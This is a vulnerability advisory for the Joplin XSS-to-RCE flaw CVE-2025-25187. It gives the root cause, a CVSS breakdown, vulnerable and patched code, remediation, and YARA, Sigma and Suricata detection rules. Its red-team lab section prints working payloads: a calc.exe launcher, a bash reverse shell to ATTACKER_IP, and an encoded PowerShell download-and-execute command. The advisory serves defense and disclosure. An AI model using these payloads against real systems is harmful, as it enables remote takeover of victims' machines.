CVE-2025-25187
Executive Summary
CVE-2025-25187 is a critical vulnerability in Joplin, a free and open-source note-taking and to-do application. The flaw arises from the unsafe use of React's dangerouslySetInnerHTML to render note titles without proper HTML entity escaping. This allows an attacker to inject arbitrary JavaScript via inline event handlers (e.g., onclick, onload) within note titles. The impact is amplified because Joplin's main window is created with nodeIntegration set to true, enabling arbitrary JavaScript execution to escalate to full remote code execution (RCE) on the host system. The attack vector requires user interaction: a victim must receive a malicious note from an untrusted source and then use the search functionality (Ctrl+P) to trigger the payload. The vulnerability is addressed in Joplin version 3.1.24.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Joplin is distributed as a desktop application via GitHub releases and package managers (e.g., npm, Chocolatey, Homebrew). The vulnerability is not a supply chain attack on the package itself, but the risk of malicious notes being shared through sync services or direct import poses a significant threat. Users should verify the integrity of downloaded Joplin binaries and ensure they are from official sources. The patch is available in version 3.1.24, and all users are advised to upgrade immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must have the ability to deliver a malicious note to the victim's Joplin instance.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond the victim opening the note and using search.
- Privileges Required (PR): None (N) – The attacker does not need any privileges on the target system.
- User Interaction (UI): Required (R) – The victim must use the search function (Ctrl+P) after receiving the malicious note.
- Scope (S): Unchanged (U) – The vulnerability does not change the security scope of the affected component.
- Confidentiality (C): High (H) – Full access to local files and data.
- Integrity (I): High (H) – Full control over the application and system.
- Availability (A): High (H) – Potential for denial of service or system compromise.
Threat Level: High. The combination of XSS and Node.js integration allows for complete system compromise. The attack is relatively simple to execute if a user can be tricked into importing a malicious note.
Deep Dive & Mechanics
The vulnerability is rooted in two key weaknesses:
Unsafe HTML Rendering: Joplin uses React's
dangerouslySetInnerHTMLto render note titles. This function directly injects raw HTML into the DOM without sanitization. If a note title contains HTML entities like<img src=x onerror=alert(1)>, they are rendered as active HTML, allowing JavaScript execution.Node Integration Enabled: Joplin's main window is created with
nodeIntegration: true. In Electron applications, this setting allows JavaScript running in the renderer process to access Node.js APIs (e.g.,require('child_process')). This means an XSS payload can execute arbitrary system commands, leading to RCE.
Attack Flow:
- An attacker crafts a note with a malicious title containing an inline event handler, e.g.,
<img src=x onerror="require('child_process').exec('calc.exe')">. - The attacker shares this note with the victim via sync, email, or direct import.
- The victim opens the note and uses the search function (Ctrl+P). The search feature renders note titles using
dangerouslySetInnerHTML, triggering the payload. - The JavaScript executes in the context of the Electron renderer process, which has Node.js integration enabled.
- The payload runs arbitrary commands on the victim's system, achieving RCE.
Vulnerable vs. Patched Code
Vulnerable Code (Joplin < 3.1.24):
// In the search results component
function NoteTitle({ title }) {
return <div dangerouslySetInnerHTML={{ __html: title }} />;
}
This code directly injects the title string into the DOM without escaping.
Patched Code (Joplin >= 3.1.24):
// In the search results component
function NoteTitle({ title }) {
const escapedTitle = escapeHtml(title);
return <div>{escapedTitle}</div>;
}
The patched version uses a proper escaping function (e.g., escapeHtml) to convert HTML entities to their safe equivalents (e.g., < to <). Alternatively, the component may use React's default JSX escaping by rendering the title as text content rather than HTML.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install Joplin version 3.0.12 (vulnerable) on a test VM.
- Create a new note with the following title:
<img src=x onerror="require('child_process').exec('calc.exe')"> - Save the note and close Joplin.
- Reopen Joplin and press Ctrl+P to open the search dialog.
- The calculator application will launch, demonstrating RCE.
Advanced Payload: For a reverse shell (Linux/macOS):
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
For Windows:
<img src=x onerror="require('child_process').exec('powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAEEAVABUAEEAQwBLAEUAUgBfAEkAUAAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA')">
Note: No public exploit code (Exploit-DB) is available for this CVE at the time of writing.
Blue Team (Defensive)
Detection:
- Monitor for unusual child processes spawned by Joplin (e.g.,
calc.exe,powershell.exe,bash). - Use endpoint detection and response (EDR) to alert on Joplin processes executing shell commands.
- Inspect note titles for HTML event handlers (e.g.,
onerror,onclick,onload).
Prevention:
- Upgrade to Joplin 3.1.24 or later.
- Implement application whitelisting to block unauthorized executables.
- Use a web proxy or content filter to inspect synced notes for malicious HTML.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256) of malicious notes: N/A (content-based, not file-based)
- Network Indicators: Outbound connections from Joplin to attacker-controlled IPs (e.g., for reverse shells).
- Process Indicators: Joplin spawning
cmd.exe,powershell.exe,bash, or other shells. - Registry/File System: Unusual files written by Joplin (e.g., in temp directories).
- Log Entries: Joplin logs may show errors related to HTML rendering or Node.js execution.
Detection Engineering
YARA Rule
rule CVE_2025_25187_Joplin_XSS_RCE {
meta:
description = "Detects malicious note titles exploiting CVE-2025-25187 in Joplin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25187"
strings:
$xss1 = /<[^>]+onerror\s*=[^>]*>/i
$xss2 = /<[^>]+onclick\s*=[^>]*>/i
$xss3 = /<[^>]+onload\s*=[^>]*>/i
$node = /require\(['"]child_process['"]\)/
condition:
any of ($xss*) and $node
}
Sigma Rule
title: CVE-2025-25187 Joplin XSS to RCE Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects Joplin spawning child processes indicative of RCE via malicious note titles
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\Joplin.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\bash.exe'
- '\wscript.exe'
- '\cscript.exe'
condition: selection
falsepositives:
- Legitimate use of command line tools by Joplin (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25187 Joplin Potential Reverse Shell"; flow:to_server,established; content:"|2f 64 65 76 2f 74 63 70 2f|"; nocase; sid:1000001; rev:1;)
Note: This rule detects reverse shell attempts (e.g., /dev/tcp/). Adjust based on observed payloads.
Remediation & Mitigation
- Immediate Upgrade: Update Joplin to version 3.1.24 or later. This is the only complete fix.
- Disable Node Integration (Workaround): If upgrading is not possible, modify the Electron main process to set
nodeIntegration: falsefor the main window. This prevents XSS from escalating to RCE but does not fix the XSS itself. - Input Validation: Implement strict input validation for note titles, stripping all HTML tags or using a safe rendering method.
- Content Security Policy (CSP): Add a restrictive CSP header (e.g.,
script-src 'self') to prevent inline script execution. - User Awareness: Educate users not to open notes from untrusted sources and to avoid using the search function on suspicious notes.
- Network Segmentation: Limit Joplin's network access to only necessary sync services.
Valters IT